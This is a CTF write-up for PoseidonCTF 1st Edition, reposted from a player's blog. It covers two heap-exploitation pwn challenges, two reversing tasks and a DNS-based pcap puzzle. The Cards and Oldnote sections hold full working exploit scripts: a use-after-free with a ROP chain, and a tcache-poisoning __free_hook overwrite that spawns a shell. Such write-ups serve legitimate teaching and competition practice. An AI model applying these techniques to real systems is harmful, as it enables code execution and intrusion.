PoseidonCTF 1st Edition Writeup

2020-08-10 12:31:32 Author: ptr-yudai.hatenablog.com
觉得文章还不错?,点我收藏



PoseidonCTF 1st Edition had been held from August 8th, 17:00 to 9th, 17:00 UTC. I played it in zer0pts and reached 3rd place.

f:id:ptr-yudai:20200810122926p:plain

Pwn tasks are well-designed but I couldn't solve/check all of them because I had to check forensics and reversing. Although there were some management issues, I enjoyed the CTF overall. Thank you for hosting the CTF!

Other members' writeup:

yoshiking.hatenablog.jp

st98.github.io

[Pwn 977pts] Cards

We're given an x86-64 ELF.

$ checksec -f cards
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes     0               2       cards

It's a normal heap challenge but the version of libc is 2.32. In this version of libc, it introduced a mitigation against heap exploitation in tcache and fastbin.

Also, this program sets up seccomp:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL

Anyway, let's check the vulnerability first. The program basically determines if a card is alive by checking a flag for each card.

mov     eax, [rbp+index]
lea     rdx, ds:0[rax*4]
lea     rax, deleted_flag
mov     eax, [rdx+rax]
test    eax, eax
jz      short loc_BA8

However, it uses the pointer to a card in order to check the existence.

mov     eax, [rbp+index]
lea     rdx, ds:0[rax*8]
lea     rax, cardList
mov     rax, [rdx+rax]
mov     rax, [rax+18h]
test    rax, rax
jnz     short loc_CB6

This causes Use-after-Free.

The structure of a card looks like this:

typedef struct {
  int size;   // 0x00
  long id;    // 0x08
  void *name; // 0x10
} CardInfo;

typedef struct {
  long id;
  char color[8];   // 0x08
  CardInfo *info;  // 0x10
  long is_used;    // 0x18
} Card;

We can overlap a name buffer and a (freed) structure by heap feng shui. As the input is not terminated by NULL, we can easily leak a heap pointer.

add(0x28, "0", "0")
delete(0)
add(0x28, "1", "1" * 0x10)
heap_base = u64(view(1)[2][0x10:]) - 0x2d0
logger.info("heap = " + hex(heap_base))

By abusing the UAF, I overwrote the chunk size to a large value in order to create unsortedbin-size fake chunk. And in same principle, we can leak the libc address.

The point here is we can make AAR/AAW primitive thanks to UAF. I leaked the stack pointer from environ (AAR) and overwrote the return address of edit (AAW) to run ROP chain. This is my exploit:

from ptrlib import *

def add(size, color, name):
    sock.sendlineafter(": ", "1")
    sock.sendafter(": ", str(size))
    sock.sendafter(": ", color)
    sock.sendafter(": ", name)
def delete(index):
    sock.sendlineafter(": ", "2")
    sock.sendlineafter(": ", str(index))
def edit(index, name):
    sock.sendlineafter(": ", "3")
    sock.sendlineafter(": ", str(index))
    sock.sendafter(": ", name)
def view(index):
    sock.sendlineafter(": ", "4")
    sock.sendlineafter(": ", str(index))
    no = int(sock.recvregex(": (\d+)\.")[0])
    size = int(sock.recvregex(": (\d+)\.")[0])
    name = sock.recvregex(": (.+)\.")[0]
    return no, size, name

libc = ELF("./libc-2.32.so")
#sock = Process(["./ld-2.32.so", "--library-path", "./", "./cards"])
sock = Socket("poseidonchalls.westeurope.cloudapp.azure.com", 9004)

# leak heap
add(0x28, "0", "0")
delete(0)
add(0x28, "1", "1" * 0x10)
heap_base = u64(view(1)[2][0x10:]) - 0x2d0
logger.info("heap = " + hex(heap_base))

# leak libc
add(0x88, "2", "2")
delete(2)
payload  = b'3' * 0x10
payload += p64(heap_base + 0x290)
add(0x88, "3", payload)
edit(2, p64(0) + p64(0x421)) # chunk size of card:1
add(0xff, "4"*4, "4"*0x80 + "/home/challenge/flag\0")
#add(0xff, "4"*4, "4"*0x80 + "/flag\0")
add(0xff, "5"*4, b"5"*0xc0 + p64(0x21)*8)
delete(1)
add(0x88, "6", "6")
libc_base = u64(view(6)[2]) - 0x36 - 0x3b6f00
logger.info("libc = " + hex(libc_base))

# leak stack
payload  = b'7' * 0x10
payload += p64(libc_base + libc.symbol("environ"))
add(0x30, "A" * 4, payload)
addr_stack = u64(view(3)[2])
logger.info("stack = " + hex(addr_stack))

# prepare rop chain
rop_pop_rax = libc_base + 0x00039717
rop_pop_rdx = libc_base + 0x00001b9e
rop_pop_rdi = libc_base + 0x0002201c
rop_pop_rsi = libc_base + 0x0002c626
rop_pop_rbp = libc_base + 0x00021e13
rop_ret = libc_base + 0x000008aa
rop_xchg_eax_edi = libc_base + 0x0003c88e
rop_syscall = libc_base + 0x000398d9
rop_leave = libc_base + 0x00040ab2

chain = flat([
    rop_pop_rsi, 0,
    rop_pop_rdi, heap_base + 0x500,
    rop_pop_rax, 2,
    rop_syscall,
    rop_xchg_eax_edi,
    rop_pop_rsi, heap_base,
    rop_pop_rdx, 0x200,
    rop_pop_rax, 0,
    rop_syscall,
    rop_pop_rdi, 1,
    rop_pop_rax, 1,
    rop_syscall,
], map=p64)
add(len(chain), "chain", chain)
payload  = b'7' * 0x10
payload += p64(addr_stack - 0x200)
edit(7, payload)
payload  = p64(rop_ret) * 14
payload += p64(rop_pop_rbp) + p64(heap_base + 0x428) + p64(rop_leave)
edit(3, payload)

sock.interactive()

[Pwn 995pts] Oldnote

2nd heap challenge.

$ checksec -f oldnote
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes     0               3       oldnote

The program only has "new" and "delete" functions.

$ ./oldnote 
==================
|      menu      |
==================
| 1. new note    |
| 2. delete note |
| 3. give up     |
==================
choice : 

Although I couldn't find any vulnerabilities in the binary, I felt the following check weird.

loc_1380:
lea     rdi, format     ; "Note size : "
mov     eax, 0
call    _printf
mov     eax, 0
call    readint
mov     [rbp+size], eax
cmp     [rbp+size], 0FFh
jle     short loc_13B8

The size is signed and must be less than 0xFF. It's sign extended when it being passed to malloc.

mov     eax, [rbp+size]
cdqe
mov     rdi, rax        ; size
call    _malloc

One more suspicious thing, which is the main concept of this challenge, is that it uses libc-2.26. I did search for a vulnerability and immediately found this:

www.cvedetails.com

I had been stuck after this for a while because read function failed when something big (like 0xfffffffd) was passed as its 3rd argument. However, I could finally overcome this by ulimit -s unlimited.

Now it's just a simple heap overflow challenge. Here is my exploit:

from ptrlib import *

def new(size, data):
    sock.sendlineafter(": ", "1")
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", data)
def delete(index):
    sock.sendlineafter(": ", "2")
    sock.sendlineafter(": ", str(index))

libc = ELF("./libc-2.26.so")
#sock = Process(["./ld-2.26.so", "--library-path", "./", "./oldnote"])
sock = Socket("poseidonchalls.westeurope.cloudapp.azure.com", 9000)

# libc leak
new(0x18, "A" * 0x18)
new(0x28, "unsorted bin")
new(0x38, "overlap man")
for i in range(6):
    if i == 4:
        new(0xb0, p64(0x21) * 22)
    else:
        new(0xf0 - i*0x10, "dummy")
    delete(3)
delete(0)
new(-3, b"B" * 0x18 + p64(0x421))
delete(1) # unsorted bin
delete(2)
new(0x28, "hoge") # 1
delete(0)
payload  = b'B' * 0x18
payload += p64(0x31)
payload += p64(0) * 5
payload += p64(0x41)
payload += b'\x20\x77'
new(-3, payload) # 0
new(0x38, "dummy") # 2
payload  = p64(0xfbad1800)
payload += p64(0) * 3
payload += b'\x88'
new(0x38, payload)

libc_base = u64(sock.recvline()[:8]) - libc.symbol("_IO_2_1_stdin_")
logger.info("libc = " + hex(libc_base))

# tcache poisoning
delete(2)
delete(1)
delete(0)
payload  = b'B' * 0x18
payload += p64(0x31)
payload += p64(libc_base + libc.symbol("__free_hook"))
new(-3, payload) # 0
new(0x28, "/bin/sh\0") # 1
new(0x28, p64(libc_base + libc.symbol("system"))) # 2

# get the shell!
delete(1)

sock.interactive()

This solver guesses 4-bits.

[Rev 100pts] The Large Cherries

This challenge is too simple to explain the solution.

from z3 import *
from ptrlib import *

magic = [BitVec("magic{}".format(i), 8) for i in range(8)]
s = Solver()

s.add(magic[3] + magic[0] == 0xab)
s.add(magic[3] == 0x37)
s.add(magic[1] ^ magic[2] == 0x5d)
s.add(magic[4] - magic[2] == 0x05)
s.add(magic[4] + magic[6] == 0xa2)
s.add(magic[5] == magic[6])
s.add(magic[6] == 0x30)
s.add(magic[7] == 0x7a)

r = s.check()
if r == sat:
    m = s.model()
else:
    print(r)
    exit(1)

secret = ['?' for i in range(8)]
for d in m.decls():
    secret[int(d.name()[5:])] = chr(m[d].as_long())

print(''.join(secret))

sock = Socket("poseidonchalls.westeurope.cloudapp.azure.com", 9003)
sock.sendlineafter(": ", ''.join(secret))
sock.sendlineafter(": ", ''.join(secret) + '\x00A')
sock.interactive()

[Rev 453pts] Mixer

We're given an x86-64 ELF. The program first unpackes the main function by a simple XOR decoder. I unpacked the binary.

with open("mixer", "rb") as f:
    buf = f.read()
for i in range(0x12000, 0x12000 + 0x791):
    buf = buf[:i] + bytes([buf[i] ^ 0x2a]) + buf[i+1:]
with open("unpacked", "wb") as f:
    f.write(buf)

I analysed the unpacked code and wrote a pseudo C code.

char hoge[] = "\x55\x40\x89\xe5\x90\x90\x40\x89\xec\x5d";
char answer[] = "\x84\xd3\xb8\xca\xe2\x36...";
char rep_hoge[0x100];
char password[0x20];
char encrypted[0x20];

int main() {
  int i;
  char j;
  write(1, "Enter psasword: ", 0x10);

  for(i = 0; i < 0x100; i++) {
    box[i] = i;
  }
  j = 0;
  for(i = 0; i < 0x100; i++) {
    if (j >= 10) j = 0;
    rep_hoge[i] = hoge[j];
  }
  j = 0;
  for(i = 0; i < 0x100; i++) {
    j += rep_hoge[i] + box[i];
    char tmp = box[i];
    box[i] = box[j];
    box[j] = tmp;
  }

  char temp_pass[0x20];
  read(0, password, 0x20);

  for(i = 0; i < 0x20; i++) {
    password[i] = temp_pass[i];
  }
  j = 0;
  for(i = 0; i < 0x20; i++) {
    j += box[i + 1];
    char tmp = box[i+1];
    box[i+1] = box[j];
    box[j] = box[i+1];
    encrypted[i] = box[box[i+1] + box[j]] ^ password[i];
  }

  assert(memcmp(encrypted, answer, 0x20) == 0);
}

Obviously it's RC4. So, simply decrypting it by RC4 generates the flag.

with open("./unpacked", "rb") as f:
    f.seek(0x12147)
    key = f.read(10)
    answer = f.read(0x20)

password = b''
box = [i for i in range(0x100)]

j = 0
for i in range(0x100):
    j = (j + key[i % 10] + box[i]) % 256
    box[i], box[j] = box[j], box[i]

j = 0
for i in range(0x20):
    j = (j + box[i+1]) % 256
    box[i+1], box[j] = box[j], box[i+1]
    password += bytes([
        box[(box[i+1] + box[j]) % 256] ^ answer[i]
    ])

print(password)

[Forensics 949pts] Baby Pcap

We have a packet capture file. When I started looking into this challenge, [@st98] had already found it's about DNS query and extracted the list of the queried domain names.

gateway.discord.gg
gateway.discord.gg
103.40.186.35.bc.googleusercontent.com
103.40.186.35.bc.googleusercontent.com
103.40.186.35.bc.googleusercontent.com
...

I found some of the IP addresses are invalid like "XXX.256.YYY.ZZZ." @st98 suggested to use octal number somehow. I decoded the first octet as octal number where the second octet is 256.

with open('queries.txt') as f:
  s = f.read().splitlines()

res = ''
y = 0
for line in s:
  ip = line.split('.')[:4]
  y = (y + 1) % 4
  if y != 0: continue
  lip = 0
  try:
      for i, x in enumerate(ip[::-1]):
          lip |= int(x) << 8 * i
  except:
      continue

  if int(ip[1]) > 255:
    res += chr(int(ip[0], 8))

print(res)

Wow, this is guessy.


[TODO] Add writeup of grocery shop.




觉得文章还不错?,点我收藏



如果文章侵犯到您的版权,请联系我:buaq.net[#]pm.me